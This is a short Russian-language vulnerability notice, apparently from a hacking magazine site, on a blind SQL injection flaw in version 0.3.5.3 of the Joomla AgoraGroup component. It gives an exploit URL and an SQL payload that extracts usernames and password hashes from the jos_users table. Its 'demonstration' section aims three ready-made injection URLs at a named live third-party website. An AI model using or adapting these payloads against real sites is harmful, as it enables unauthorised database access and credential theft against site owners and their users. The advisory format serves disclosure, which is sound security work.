SQL-инъекция в Joomla Component AgoraGroup

Рекомендуем почитать:

Xakep #305. Multi-Step SQLi

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Joomla Component AgoraGroup 0.3.5.3

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных сценарием index.php. Удаленный пользователь может с
помощью специально сформированного запроса выполнить произвольные SQL команды в
базе данных приложения.

Эксплоит:

http://localHost/path/index.php?option=com_agoragroup&con=groupdetail&id=2[SQL
code]

SQL code:

and ascii(substring((SELECT concat(username,0x3a,password) from jos_users
limit 0,1),1,1))>96

Демонстрация:

http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+ and+(select+substring(concat(1,password),1,1)+from+jos_users+limit+0,1)=1

http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+ and+(select+substring(concat(1,username),1,1)+from+jos_users+limit+0,1)=1

http://notaryzip.com/index.php?option=com_agoragroup&con=groupdetail&id=2+ and+ascii(substring((SELECT+concat(username,0x3a,password) +from+jos_users+limit+0,1),1,1))=72